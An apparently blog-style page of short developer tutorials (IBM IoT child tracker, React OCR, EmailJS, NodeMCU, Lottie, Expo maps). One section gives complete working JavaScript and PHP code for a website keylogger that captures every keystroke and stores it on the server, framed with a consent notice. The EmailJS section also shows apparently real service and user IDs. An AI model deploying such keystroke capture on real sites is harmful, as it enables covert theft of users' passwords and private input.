Category: API

IBM Child Tracker IOT

Hello People. This article gives you an idea about IBM Child Tracker IOT project architecture. Child tracker helps parents to monitor their child’s location. Parents can create a geofence around the particular location. Notifications will be generated if the child crosses the geofence. The entire location data will be stored in the database.

A model Child Tracker With Emergency Notifications can be created using resources like IBM Cloud, IBM IoT Platform, IBM Nodered, IBM Cloudant DB. Basic knowledge on cloud services like below would be required.

  • IBM Watson IoT Platform
  • Node-RED Service
  • Cloudant DB

To create an IBM Cloud Account, refer to the link here https://www.youtube.com/watch?v=2xIvEuFcUJY

To start your project, please install Python IDE. Click here for the reference video of python installation.
Install the required python libraries. Install Watson IoT python SDK to connect to IBM Watson IoT Platform using python code. Enter the following command in command prompt: pip install wiotp-sdkpip
Download the required files from the link
Create a fast to SMS service for sending the messages and get the API:
https://www.youtube.com/watch?v=DIsvRgzQt0o

IBM Child Tracker IOT

Project Flow:

  • The GPS coordinates of the child will be sent to IBM IoT platform
  • Location can be viewed in the Web Application
  • Parent can create a geofence in the web application
  • Web application will check if the child is inside or outside the geofence
  • Notifies the parents if the child goes out of the geofence

To accomplish this, we have to complete all the activities and tasks listed below:

  • Create and configure IBM Cloud Services
    • Create IBM Watson IoT Platform 
    • Create a device & configure the IBM IoT Platform
    • Create Node-RED service
    • Create a database in Cloudant DB to store location data
  • Develop a web Application using Node-RED Service.
    • Develop the web application using Node-RED
    • Integrate the geofence & google map
  • Develop a python script to publish the location details to the IBM IoT platform 

Create And Configure IBM Cloud Services

In this milestone, create and configure the IBM Cloud services which are being used in completing this project.

IBM Watson IoT platform acts as the mediator to connect the web application to IoT device, so create the IBM Watson IoT platform.

In order to connect the IoT device to the IBM cloud, create a device in the IBM Watson IoT platform and get the device credentials.

Configure the connection security and create API keys which are used in Node-RED service for accessing the IBM IoT Platform. Here is the reference link https://www.youtube.com/watch?v=Doh9ADU8CyU

Create Node-RED Service

To create a web application create a Node-RED service.

Refer the below video for reference: https://www.youtube.com/watch?v=R46iK-XYKW4

Create A Database In Cloudant DB

Launch the cloudant DB and create a database to store the location data.Refer to the below video for reference: https://www.youtube.com/watch?v=FxC0D9KDWD4

Develop a Python Script

Develop a python script to publish the location details to IBM IoT platform. Develop a python code for publishing the location (latitude and longitude) data to the IBM IoT Platform. Reference is here https://www.youtube.com/watch?v=xJNw6_e4kkA

Develop a Web Application Using Node-RED

The web application should have the following features:

  • Connect to IBM IoT platform and get the location data
  • Display the location in Google map
  • Check whether the child is inside the geofence or not
  • Send the notification if the child goes out of the geofence
  • Store all the location data in the cloudant DB

Connect to IBM IoT platform and get the location, store the data in cloudant DB.

Integrate the geofence to check if the child is inside or outside the geofence and display the location in google map.

Send the notification if the child is out of geofence.

You should need dashboard nodes to be installed to build a dashboard.

  • Follow the below steps to install 

When you open your node-RED flow it looks like the image below.

Please click on the drop-down list and select manage palette as shown below.

In the manage Palette search for “node-red-dashboard” and install it.

also, we need geofence nodes for creating a geofence. to install it search for “node-red-node-geofence” in the manage palette and install them.

We need world map nodes for displaying the location in worldmap. search for “node-red-contrib-web-worldmap” in the manage palette and install them.

Here are the reference links: first link https://www.youtube.com/watch?v=NM3f-UtCUOI and second link https://www.youtube.com/watch?v=RtQtSAzqcyw

Hope this article on IBM Child Tracker IOT project architecture is useful to you. Please read Difference between Webhooks and API

Clients for Mobile app development

Hello People. This article discusses how to get clients for Mobile app development. Finding clients is a major problem for IT startups and entrepreneurs. Here are few useful tips to get clients for app development companies.

Firstly highlight the skill you are expert in. For example we have good command over android development so what we would do is that we find websites which have no apps yet in the playstore. We will drop a mail to owner on that website that you are lacking much audience because this era is of app users and there are trillions of folks using smart phone. We can build your app at a very reasonable price. In this scenario if client gets ready you could be able to build up portfolio.

You can also try getting business through LinkedIN. Visit your profile page on LinkedIN from your mobile app or desktop, and if business feature is turned on for you, you’ll see a box under your profile photo/headline that talks about how to showcase the services you provide. Click “Add Services,” and then fill out the form to provide details about the services you provide. Be as detailed as possible so members who view this section have a good sense for what you provide. Click “continue” and this will automatically be added to your profile.

Clients for Mobile app development

For finding clients on linkedIn, you must have a good connection with your targeted audience. You can search clients by their posted requirement like: “Looking for the freelancer designer or developer”. Once you type a statement like this one in the search box you will get the list of a result as you have to sort the list by “Content”. Then you can able to view all the posts related to that “keyword/requirement”. You have to pitch to that Author who has posted the requirement. You can simply comment or you can connect with him for further discussion.

Hope this article on how to get clients for Mobile app development is useful to you. Please read about Optical Character Recognition in React

Optical Character Recognition in React

Hello People. This article discusses about Optical Character Recognition in React. OCR is very useful when you want to extract text from a scanned document on a browser. Applying OCR technology through a React application, you can upload your images in various formats and can apply OCR to extract text content so easily. 

How to achieve Optical Character Recognition in React?

We’ll use two third party libraries for different purposes. The first one is “tesseract.js”. It’ll allow us to run OCR easily with just a couple of lines of code. The second one is “react-images-upload”, it’ll allow us to upload images to the browser and access their locations easily.

Here we do a couple of new things and you may want to follow them carefully. We should put the code snippet above the return we need to create 3 states here to achieve different goals. The first state we have here is to take the image URLs from our ImageUploader component and save it for further processing, the second state is the one that we keep our OCR applied texts, and the third one is the one for loading logic.

Optical Character Recognition in React

onDrop function is called whenever a change happened in our ImageUploader component . So whenever a change happens like adding or removing the photos in our component this function will be fired up. It’ll take the argument we need in the second position after the onChange event is fired so we can simply bypass the first argument by putting “_” and take the second one. It has link/links for our images in it and it’ll bring the full latest list of links so whenever we get a list from our function we can safely put that in our array.

runOcr function seems tricky but in fact, it’s quite simple, we take our URLs state and run the following recognition script for each element. Tesseract recognize function takes at least 2 arguments, first is the URL and the second one is the target language, tesseract.js supports over 100 languages. After the requests resolve we take output text and add it to our current array. After we fire runOcr command we can setIsLoading to true so we can display our spinner.

Hope this article on Optical Character Recognition in React is useful to you. Please read What is Node Red and its application

Node Red and its application

Hello People. This article explains you What is Node Red and its application. Node-RED is a programming tool for wiring together hardware devices, APIs and online services. At the core of Node-RED is Node.js, which (as you know) is a JavaScript runtime that has an active community.

Because of its ease of use, node-red is ideally suited for building IOT and Home control dashboards and automations as well as many other applications.

Node-Red IOT and Home Automation

Industrial IOT and home automation applications will generally use one or more of the following protocols.

  • MQTT
  • HTTP

Nodes for these protocols are part of the core nodes.

Node Red and its application

Various platforms

Node-RED can be used on various platforms. That’s because Node-RED itself is a Node.js application. If you have a runtime environment for Node.js, you can run it. It is mostly used on Edge devices, cloud services, and in embedded formats.

The perfect starting point for Node-RED applications is the ADAM-6700 series modules that come complete with Node-RED installed, plus onboard I/O and an extensive built in library to assist with utilising the ADAMs functions. Other functions and sample code can be added from other Node-RED users or by building your own applications and importing them into other projects you may do in the future.

An example of an application using Node-RED could be for a specific signalling arrangement for alarm monitoring. This could include analogue, serial, or ethernet devices all covered in a single unit that provides email and SMS support via a network. It could also include a dashboard on the local network with raw data that the alarms are based on, with logging on board using an SD Card.

A router using Node-RED can provide monitoring of 4G signal reception, alerts for signal loss, network performance and data usage just to name a few. As with modern equipment, Node-RED can provide benefits to make products intuitive to the user’s requirements whether for additional features or just using the dashboard function for service acknowledgement or fault reporting.

Hope this article on What is Node Red and its application is useful to you. Please read Software Development company for IoT projects

How to use EmailJS in React website

Hello People. This article discusses how to use EmailJS in React website. In almost all the web applications we create, we need to send emails to users, whether it be a support email or verification one. We will be using react-bootstrap to build the Contact Form in react. Add ‘emailJs’ dependency using yarn or npm.

How does EmailJS work?

EmailJS helps to send emails using client-side technologies only. No server is required – just connect EmailJS to one of the supported email services, create an email template, and use our Javascript library to trigger an email.

Email templates can optionally contain dynamic variables in almost any field (e.g. subject, content, TO address, FROM name, etc) which are populated from the Javascript call. For example, the subject can be “{{ name }}, you have a new message”, and using JavaScript the name can be set to “James Dean”, for instance.

Additionally, you can easily add attachments, require CAPTCHA validation, switch between the email services without making code changes, review the history of the email request, and more.

Connecting email services

EmailJS is not sending the emails directly. Instead, it allows users to connect their email services, through which the emails will be sent. We support a long list of email services, both personal services and transactional email services.

Personal email services allow connecting personal email providers that offer basic email functionality – an email address and an inbox. These include providers like Gmail, Fastmail, Outlook 365, etc’. Personal email services are useful in EmailJS when you need to send a small number of emails to yourself, or need to send emails to other people from your personal email account. Note, your personal email account could be blocked if you go over the daily limit of the email provider, and your email address could be flagged as spam if you send unsolicited emails to multiple recipients. Our general recommendation is to use personal email services only for development purposes or for very low volume usage.

Transactional email services allow connecting dedicated transactional email providers that were designed to send out a large number of emails to a large number of recipients. These providers are usually more robust, can handle higher volumes, and provide a better email reputation (which means fewer chances your emails will end up in the spam folder). We strongly recommend you use one of these providers for your production environment.

To connect an email service:

  1. Open Email Services page in EmailJS dashboard
  2. Choose from the list of supported services and click on the service
  3. Fill out the service details
  4. Test the email service and make sure you receive the test email
How to use EmailJS in React website

Let us see the code of the contact form.

Contact.JS

import React, { useRef } from "react";
import Container from "./Container";
import Row from "./Row";
import Col from "./Col";
import { Form, Button, FloatingLabel } from "react-bootstrap";
import emailjs from "emailjs-com";
import Swal from "sweetalert2";
import "@sweetalert2/theme-dark/dark.css";


const Contact = () => {
  const form = useRef();
  const [verified, setVerified] = React.useState(false);
  const onVerify = (e) => {
    setVerified(true);
  };

  const sendEmail = (e) => {
    e.preventDefault();

    emailjs
      .sendForm(
        "servicexxxx",
        "templatexxxx",
        form.current,
        "user_xxxxxx"
      )
      .then(
        function (response) {
          Swal.fire({
            title: "Message Sent!",
            text: "Thank you for your message! I will respond shortly.",
            icon: "success",
            confirmButtonText: "Ok",
          });
          console.log("SUCCESS!", response.status, response.text);
          e.target.reset();
        },
        function (error) {
          Swal.fire({
            title: "Whoops!",
            text: "Something went wrong.",
            icon: "error",
            confirmButtonText: "Ok",
          });
          console.log("FAILED...", error);
        }
      );
  };
  return (
    <section id="contact" className="pb-4">
      <Container className="contact-wrapper">
        <Row>
          <Col size="col-md-6 justify-content-center">
            <div className="card mt-4 pb-4">
              <h1 className="heading">Let's Connect</h1>
              <Form ref={form} onSubmit={sendEmail}>
                <Form.Group className="mb-3" controlId="formBasicName">
                  <FloatingLabel
                    controlId="floatingInput"
                    label="Name"
                    className="mb-3 w-75 mx-auto"
                  >
                    <Form.Control
                      type="text"
                      placeholder="First Last"
                      name="name"
                      autoComplete="on"
                      required
                    />
                  </FloatingLabel>
                </Form.Group>
                <Form.Group className="mb-3" controlId="formBasicEmail">
                  <FloatingLabel
                    controlId="floatingInput"
                    label="Email address"
                    className="mb-3 w-75 mx-auto"
                  >
                    <Form.Control
                      type="email"
                      placeholder="name@example.com"
                      name="email"
                      autoComplete="on"
                      required
                    />
                  </FloatingLabel>
                </Form.Group>
                <Form.Group
                  className="mb-3"
                  controlId="formComment"
                ></Form.Group>
                <FloatingLabel
                  controlId="floatingTextarea2"
                  label="Comments"
                  className="w-75 mx-auto"
                >
                  <Form.Control
                    as="textarea"
                    placeholder="Leave a comment here"
                    name="message"
                    style={{ height: "100px" }}
                    required
                  />
                </FloatingLabel>
                
                <Container className="center mt-4">
                  <div className="buttonWrapper mt-4">
                    <Button
                      variant="primary"
                      className="w-75"
                      type="submit"
                      size="lg"
                      
                    >
                      Submit
                    </Button>
                  </div>
                </Container>
              </Form>
            </div>
          </Col>
        </Row>
      </Container>
    </section>
  );
};

export default Contact;

EmailJS integration has the following steps:

  • Add an email service
  • Create an email template
  • Create an HTML form
  • Send email with form details using EmailJS SDK

Then use emailjs component to send the email. You will need to pass the configuration object in this function.

emailjs
      .sendForm(
        "service_qseq79h",
        "template_wc1fped",
        form.current,
        "user_hVmW7t1Fm5PWBqZnlB8xk"
      )
  1. The first parameter is your email service ID. You can get it from emailJS dashboard.
  2. The second parameter is the template ID. You will get this from Dashboard of emailJs once registered.
  3. The third parameter is the User ID in the emailJs dashboard.

Hope this article on How to use EmailJS in React website is useful to you. Please read Node MCU for IOT applications

Node MCU for IOT applications

Hello People. This article discusses about Node MCU for IOT applications. NodeMCU is an open source IoT platform including a firmware which runs on the ESP8266 with the Espressif Non-OS SDK, and hardware based on the ESP-12 module. Node MCU features 4MB of flash memory, 80MHz of system clock, around 50k of usable RAM and an on chip Wifi Transceiver.

Flash Memory

NodeMCU v2 features a 4 MB (32 Mb) flash memory organized in sectors of 4k each. The flash memory address starts at 0x40200000 and can be read and written from a Zerynth program using the internal flash module.

Device Specifications

  • Microcontroller: Tensilica 32-bit RISC CPU Xtensa LX106
  • Operating Voltage: 3.3V
  • Input Voltage: 7-12V
  • Digital I/O Pins (DIO): 16
  • Analog Input Pins (ADC): 1
  • UARTs: 1
  • SPIs: 1
  • I2Cs: 1
  • Flash Memory: 4 MB
  • SRAM: 64 KB
  • Clock Speed: 80 Mhz
  • Wi-Fi: IEEE 802.11 b/g/n:
    • Integrated TR switch, balun, LNA, power amplifier and matching network
    • WEP or WPA/WPA2 authentication, or open networks

Power Supply

Power to the NodeMCU is supplied via the on-board USB Micro B connector or directly via the “VIN” pin. The power source is selected automatically. Node MCU can operate on an external supply of 6 to 20 volts. If using more than 12V, the voltage regulator may overheat and damage the device. The recommended range is 7 to 12 volts.

Node MCU for IOT applications

Connection

The NodeMCU v2 exposes the serial port of the ESP8266 module via a CP2102 usb bridge which is also connected to the boot pins of the module, allowing for a seamless virtualization of the device.

Once connected to a USB port the NodeMCU v2 device can be seen as a Virtual Serial port and it is automatically recognized by Zerynth Studio. The next steps are:

  • Select the NodeMCU on the Device Management Toolbar;
  • Register the device by clicking the “Z” button from the Zerynth Studio;
  • Create a Virtual Machine for the device by clicking the “Z” button for the second time;
  • Virtualize the device by clicking the “Z” button for the third time.

After virtualization, the NodeMCU v2 device is ready to be programmed and the Zerynth scripts uploaded. Just Select the virtualized device from the “Device Management Toolbar” and click the dedicated “upload” button of Zerynth Studio.

Firmware Over the Air update (FOTA)

The Firmware Over the Air feature allows to update the device firmware at runtime. Zerynth FOTA in the NodeMCU v2 device is available for bytecode only.

Hope this article on Node MCU for IOT applications is useful to you. Please read about Build your own Sonoff switch

IoT(Internet of Things) solutions provider company essentials

Hello People. This article discusses about IoT(Internet of Things) solutions provider company essentials. Building and Launching with End to End IOT Solutions is a need of the hour to enterprises today. IOT solutions provides you with everything you need to launch your product in the market. You’ll get manufacturing-ready hardware products, mobile applications, web dashboards and cloud infrastructure. All these features customized to your own brand.

IOT Smart Modules make non smart products smart. Smart modules can be integrated with many appliances like fans, geysers, heaters, Acs, Air purifiers and many more. IOT solution providers will help you with the integration process.

IOT solution providers offer curated Solutions for different Industries. Building your own IoT Products from scratch could be a very long process and would require additional resources. IOT solution providers take away all those hassles and gives you a head start into the market. They also provide seamless integrations with major voice assistants and Industry Standards.

IoT(Internet of Things) solutions provider company essentials

With minimal product alteration, customers can fit their existing product with smart modules quickly. They can also add smart control features and add smart functions to their product’s existing features. This creates product value enhancement and also differentiates customer’s product offering from competitors.

You as a customer can integrate your existing portfolio of hardware products with smart modules to automate their working and add new functionalities to them. Let’s take an example with AC automation. Control it from anywhere with app, Schedule it operate at preset times, Auto-turn off timers to switch off when not in use. Smart Modules can be Wifi, bluetooth and LoRa based.

Enterprise will also get the complete analytics of device usage in the smart dashboard to better understand your customer segments. So the enterprise can view and respond to all support tickets raised by your customers. Enterprise can also integrate Google Assistant and Amazon Alexa with smart products.

Hope this article on IoT(Internet of Things) solutions provider company essentials is useful to you. Please read about Implementing IoT(Internet of Things) in OTT.

Keylogger With Javascript and PHP in Ethical Hacking

Hello People. This article discusses about how to create a Keylogger With Javascript and PHP in Ethical Hacking. Suppose you need to capture all the keys that a user pressed on your website for testing purpose. You need a to create a keylogger for that. It is of illegal and unethical to do keylogging without the user’s knowledge. So if you want to capture the keystrokes, please make sure that the users are fully aware that their keystrokes are being recorded first.

Let us create a HTML first and call it keylog.html.

keylog.html

<h1>All key presses will be recorded!</h1>
<textarea></textarea>

Please write a text notice that says “all key presses will be recorded”.

The second step is to create a javascript file. Let us call it keylog.js

keylog.js

var keylog = {
  // (A) SETTINGS & PROPERTIES
  cache : [], // TEMP STORAGE FOR KEY PRESSES
  delay : 2000, // HOW OFTEN TO SEND DATA TO SERVER
  sending : false, // ONLY 1 UPLOAD ALLOWED AT A TIME

  // (B) INITIALIZE
  init : () => {
    // (B1) CAPTURE KEY STROKES
    window.addEventListener("keydown", (evt) => {
      keylog.cache.push(evt.key);
    });
 
    // (B2) SEND KEYSTROKES TO SERVER
    window.setInterval(keylog.send, keylog.delay);
  },

  // (C) AJAX SEND KEYSTROKES
  send : () => { if (!keylog.sending && keylog.cache.length != 0) {
    // (C1) "LOCK" UNTIL THIS BATCH IS SENT TO SERVER
    keylog.sending = true;
 
    // (C2) KEYPRESS DATA
    var data = new FormData();
    data.append("keys", JSON.stringify(keylog.cache));
    keylog.cache = []; // CLEAR KEYS

    // (C3) FECTH SEND
    fetch("keylog.php", { method:"POST", body:data })
    .then(res=>res.text()).then((res) => {
      keylog.sending = false; // UNLOCK
      console.log(res); // OPTIONAL
    })
    .catch((err) => { console.error(err); });
  }}
};
window.addEventListener("DOMContentLoaded", keylog.init);

Let us analyse the code:

  1. Few settings and properties here.
    • cache An array to temporarily hold the user key presses.
    • delay How often to send the key presses to the server. Yes, we do not want to send the key presses to the server in real-time – That will flood the server.
    • sending Boolean flag that is used to indicate an ongoing AJAX send. To prevent multiple parallel uploads and potentially mess up the key press order.
  2. init() will run on page load. All it does is store keypresses in cache, and periodically call send() to upload to the server.
  3. send() simply uploads the keypresses to the server (if there is at least one keypress in cache).

The next step is to write a PHP code. Let us call it keylog.php

keylog.php

<?php
// (A) OPEN KEYLOG FILE, APPEND MODE
$file = fopen("keylog.txt", "a+");
 
// (B) SAVE KEYSTROKES
$keys = json_decode($_POST["keys"]);
foreach ($keys as $k=>$v) { fwrite($file, $v . PHP_EOL); }

// (C) CLOSE & END
fclose($file);
echo "OK";

This is a bare minimum PHP script that saves the captured keystrokes to a text file. The log file can get extremely big over time. So you might want to do some of your own limitations on the file size or even zip archive when it hits a certain size.

Hope this article on Keylogger With Javascript and PHP in Ethical Hacking is useful to you. Please read about Serverless IoT on AWS.

How to use Lottie animations in React

Hello People. This article discusses how to use Lottie animations in React. A Lottie is a high-quality JSON animation. It is compatible with React. You can read more about what a Lottie is here. Using this walkthrough, you can learn how to embed your favorite Lottie into a React App.

Select your Lottie

Select an animation, either one of your own or you can select one from animations on Lottie Files online. Make sure you have your animation in Lottie format (.json).

Setup React Development Environment

Open a boilerplate React project using the official create-react-app starter. We can give React App the ability to render your Lottie by adding a React component for rendering Lottie animations. We’ll install Lottie by bringing in the package lottie-web.

npm i lottie-web

After installing  lottie-web , we can place our animation within any JSX element by giving an indication that we want it to live in a certain selector.

The best way to do this is by using the id attribute, since it should only be used once across our app’s elements.

In our case, we could give it the id value of react-logo:

// src/App.js
import React from "react";

export default function App() {
  return (
    <div>
      <h1>Hello World</h1>
      <div id="react-logo" />
    </div>
  );
}
How to use Lottie animations in React

To use Lottie, we can import it from lottie-web and we’ll import the JSON from wherever we placed it:

// src/App.js
import React from "react";
import lottie from "lottie-web";
import reactLogo from "../static/react-logo.json";

export default function App() {
  return (
    <div>
      <h1>Hello World</h1>
      <div id="react-logo" />
    </div>
  );
}

How to Use Lottie with the useEffect Hook

Using Lottie itself is simple. We need to get a reference to the JSX/DOM element that we want to put the animation in and give it the JSON data.

To interact with the DOM itself, we’ll need to make sure the component has mounted, so we’ll use useEffect to perform a side effect and pass in an empty dependencies array.

In useEffect, we can now call lottie.loadAnimation to run our animation, by passing it an object. On this object, the first thing we’ll need to provide is the container, the DOM node that we want this animation to be run in.

We’ll can use any method we want to reference the DOM node; I’ll personally use document.getElementById('react-logo').

// src/App.js
import React from "react";
import lottie from "lottie-web";
import reactLogo from "../static/react-logo.json";

export default function App() {
  React.useEffect(() => {
    lottie.loadAnimation({
      container: document.querySelector("#react-logo"),
    });
  }, []);

  return (
    <div>
      <h1>Hello World</h1>
      <div id="react-logo" />
    </div>
  );
}

And with that container, we just need to supply the JSON data itself on a property called animationData.

// src/App.js
import React from "react";
import lottie from "lottie-web";
import reactLogo from "../static/react-logo.json";

export default function App() {
  React.useEffect(() => {
    lottie.loadAnimation({
      container: document.querySelector("#react-logo"),
    });
  }, []);

  return (
    <div>
      <h1>Hello World</h1>
      <div id="react-logo" />
    </div>
  );
}

After that you should see the animation run automatically.

You can adjust the size of your animation by providing some styles and adding a fixed width and height for the container div:

<div id="react-logo" style={{ width: 200, height: 200 }} />

Hope this article on How to use Lottie animations in React is useful to you. Please read about How to create a whatsapp contact screen in react native

Adding map view in expo project

Hello People. This article discusses about adding map view in expo project. react-native-maps provides a Map component. We can use that in our app projects. Map component uses Apple Maps or Google Maps on iOS and Google Maps on Android. Expo uses react-native-maps at react-community/react-native-maps. Expo app does not require a separate setup . Let us see below instructions on how to configure for deployment as a standalone app on Android and iOS.

Installation

To install in an expo project, use the following command

expo install react-native-maps

Usage

You can see full documentation at react-native-community/react-native-maps.

import * as React from 'react';
import MapView from 'react-native-maps';
import { StyleSheet, Text, View, Dimensions } from 'react-native';

export default function App() {
  return (
    <View style={styles.container}>
      <MapView style={styles.map} />
    </View>
  );
}

const styles = StyleSheet.create({
  container: {
    flex: 1,
    backgroundColor: '#fff',
    alignItems: 'center',
    justifyContent: 'center',
  },
  map: {
    width: Dimensions.get('window').width,
    height: Dimensions.get('window').height,
  },
});

Configuration

No additional setup is necessary to use react-native-maps in Expo Go. However, if you want to deploy your standalone app you should follow instructions below.

Adding map view in expo project

Deploying Google Maps to an Android standalone app

If you’ve already registered a project for another Google service on Android, such as Google Sign In, you enable the Maps SDK for Android on your project and jump to step 4.

1. Register a Google Cloud API project and enable the Maps SDK for Android

  • Open your browser to the Google API manager and create a project.
  • Once it’s created, go to the project and enable the Maps SDK for Android

2. Have your app’s SHA-1 certificate fingerprint ready

  • If you are deploying your app to the Google Play Store, you will need to have created a standalone app and uploaded it to Google Play at least once in order to have Google generate your app signing credentials.
    • Go to the Google Play Console → (your app) → Setup → App Integrity
    • Copy the value of SHA-1 certificate fingerprint
  • If you are sideloading your APK or deploying it to another store, you will need to have created a standalone app, then run expo fetch:android:hashes and copy the Google Certificate Fingerprint.

3. Create an API key

  • Go to Google Cloud Credential manager and click Create Credentials, then API Key.
  • In the modal, click Restrict Key.
  • Under Key restrictions → Application restrictions, ensure that the Android apps radio button is chosen.
  • Click the + Add package name and fingerprint button.
  • Add your Android package name from app.json to the package name field.
  • Add or replace the SHA-1 certificate fingerprint with the value from step 2.
  • Click Done and then click Save

4. Add the API key to your project

  • Copy your API Key into your app.json under the android.config.googleMaps.apiKey field.
  • Rebuild the app binary and re-submit to Google Play or sideload it (depending on how you configured your API key) to test that the configuration was successful.

Hope this article on Adding map view in expo project is useful to you. Please visit Using Express router with Node JS to read about express router.

Navigation

× Contact Us